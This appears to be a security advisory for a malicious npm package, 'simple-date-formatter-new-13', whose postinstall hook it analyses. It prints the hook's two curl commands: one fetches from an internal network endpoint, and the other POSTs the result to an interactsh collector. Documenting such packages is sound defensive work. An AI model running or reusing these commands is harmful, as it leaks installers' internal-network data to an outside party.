Malicious code in simple-date-formatter-new-13 (npm)

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

--- _-= Per source details.

The postinstall runs `curl -v -m 3 http://bsrc-ssrf.n.baidu-int.com/6395292252 -o /tmp/bsrc.txt` against an internal Baidu network endpoint, then `curl -X POST -d "$(cat /tmp/bsrc.txt...)" http://pdxkwzizhzzdpzpgcieqk6d1v7ynqsgfo.oast.fun/bsrc` sends the retrieved bytes to an anonymous interactsh/oast.fun collector. The declared purpose (date formatting) has no need for install-time network I/O, and the name/behavior mismatch plus the SSRF+OAST pattern is characteristic of a dependency-confusion probe. Installers running `npm install` will silently leak whatever internal-network content the SSRF target returns to an attacker-controlled endpoint.
